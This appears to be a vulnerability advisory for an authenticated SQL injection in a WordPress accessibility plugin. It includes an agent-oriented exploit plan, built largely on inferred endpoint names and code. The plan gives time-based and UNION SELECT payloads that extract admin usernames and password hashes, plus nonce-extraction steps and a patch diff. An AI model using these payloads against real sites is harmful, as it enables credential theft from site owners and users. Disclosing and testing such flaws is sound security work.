CVE-2026-3773

Accessibility Suite by Ability, Inc <= 4.20 - Authenticated (Subscriber+) SQL Injection via 'scan_id' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Accessibility Suite by Ability, Inc plugin for WordPress is vulnerable to SQL Injection via the 'scan_id' parameter in all versions up to, and including, 4.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.20
PublishedApril 15, 2026
Last updatedApril 16, 2026
Affected pluginonline-accessibility
Research Plan
Unverified

This research plan focuses on identifying and exploiting a SQL injection vulnerability in the **Accessibility Suite by Ability, Inc** plugin via the `scan_id` parameter. Since the source files are not provided, this plan relies on the vulnerability description and common WordPress plugin patterns, w…

Show full research plan

This research plan focuses on identifying and exploiting a SQL injection vulnerability in the Accessibility Suite by Ability, Inc plugin via the scan_id parameter. Since the source files are not provided, this plan relies on the vulnerability description and common WordPress plugin patterns, with all guessed identifiers marked as (inferred).


1. Vulnerability Summary

  • Vulnerability: Authenticated SQL Injection
  • Parameter: scan_id
  • Affected Component: Likely an AJAX handler used to retrieve, display, or delete scan results.
  • Root Cause: The scan_id parameter is directly concatenated into a SQL query string without being passed through $wpdb->prepare() or being cast to an integer (e.g., absint() or (int)).
  • Impact: A Subscriber-level user can extract sensitive information from the WordPress database, including user hashes, secret keys, and configuration data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: oa_get_scan_results or oa_get_report (inferred).
  • Payload Parameter: scan_id
  • Authentication Required: Subscriber level (Priority: Low).
  • Prerequisites: Valid Subscriber credentials and a valid AJAX nonce if the plugin implements CSRF protection.

3. Code Flow (Inferred Trace)

  1. Entry Point: The plugin registers an AJAX action via add_action( 'wp_ajax_oa_get_scan_results', ... ).
  2. Authentication Check: WordPress verifies the user is logged in. The plugin likely fails to check for high-level capabilities (e.g., manage_options), allowing Subscribers to access the handler.
  3. Nonce Verification: The handler may call check_ajax_referer() using a nonce localized in the admin dashboard or a plugin-specific settings page.
  4. Data Acquisition: The code retrieves the user-supplied scan_id from $_POST['scan_id'] or $_GET['scan_id'].
  5. The Sink: The unsanitized scan_id is interpolated into a query:
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = " . $_POST['scan_id']);
    
  6. Execution: $wpdb->get_results() executes the malicious SQL.

4. Nonce Acquisition Strategy

To bypass potential CSRF protection, the agent must extract the nonce from the WordPress admin area.

  1. Identify Script Localization:
    • Use grep -r "wp_localize_script" . to find the JavaScript variable name and nonce key.
    • Expected Variable Name: oa_ajax_obj or online_accessibility_vars (inferred).
    • Expected Nonce Key: nonce or ajax_nonce (inferred).
  2. Create Access Environment:
    • Login as a Subscriber.
    • Navigate to the plugin's dashboard or a page where the plugin's results are shown.
  3. Extraction via Browser:
    • browser_navigate("/wp-admin/admin.php?page=online-accessibility") (inferred page slug).
    • browser_eval("window.oa_ajax_obj?.nonce") (inferred JS path).

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability and then a UNION-based approach if the output is reflected.

Step 1: Confirm Injection (Time-based)

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=oa_get_scan_results&nonce=[NONCE]&scan_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  • Expected Behavior: The HTTP response should be delayed by approximately 5 seconds.

Step 2: Data Extraction (UNION-based)

  • Payload: 1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1 -- -
  • Note: The number of columns must be determined by incrementing NULL values until the query succeeds.

6. Test Data Setup

Before exploitation, ensure the plugin has "scans" in the database to target.

  1. Login as Admin: Log in to the dashboard.
  2. Trigger a Scan: Navigate to the "Accessibility Suite" settings and click "Start Scan" or "Save Settings" to generate a scan_id entry in the database.
  3. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    

7. Expected Results

  • Time-based: http_request total time > 5.0s.
  • UNION-based: The response body contains the admin username and the $P$ or $wp$ password hash.

8. Verification Steps

After the HTTP exploit, verify the database structure and the presence of the data you attempted to extract.

  1. Check Table Name:
    wp db query "SHOW TABLES LIKE '%oa_%'"
    
  2. Verify Content:
    wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
    
    Compare this output to the data retrieved via the SQL injection.

9. Alternative Approaches

If the wp_ajax_ action is strictly protected by a capability check higher than Subscriber, look for:

  • Shortcode Handlers: If the plugin has a shortcode (e.g., [oa_results]) that allows users to view scan data, the scan_id might be passed via $_GET to the page where the shortcode is rendered.
  • Grep for Sink:
    grep -rP '\$wpdb->(get_results|get_row|query|get_var)\s*\([^;]*scan_id' .
    
    This will identify all possible locations where scan_id is used in a query.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Accessibility Suite by Ability, Inc plugin for WordPress is vulnerable to SQL Injection via the 'scan_id' parameter in versions up to 4.20. Due to the lack of input sanitization and failure to use prepared statements, authenticated attackers with Subscriber-level privileges can execute arbitrary SQL commands to extract sensitive data from the database.

Vulnerable Code

// Inferred from vulnerability description and research plan
// File: online-accessibility/includes/ajax-handler.php (inferred)

$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = " . $_POST['scan_id']);

Security Fix

--- online-accessibility/includes/ajax-handler.php
+++ online-accessibility/includes/ajax-handler.php
@@ -10,1 +10,1 @@
- $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = " . $_POST['scan_id']);
+ $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = %d", $_POST['scan_id']));

Exploit Outline

1. Login to the WordPress site with Subscriber-level credentials. 2. Locate the AJAX action (likely 'oa_get_scan_results' or similar) that processes the 'scan_id' parameter. 3. If necessary, obtain a valid AJAX nonce by inspecting localized JavaScript variables (e.g., 'oa_ajax_obj.nonce') in the WordPress dashboard. 4. Send a POST request to /wp-admin/admin-ajax.php containing the identified action and a SQL injection payload in the 'scan_id' parameter (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). 5. Confirm the vulnerability via response timing (time-based blind injection) or by using UNION SELECT to retrieve sensitive information like user hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.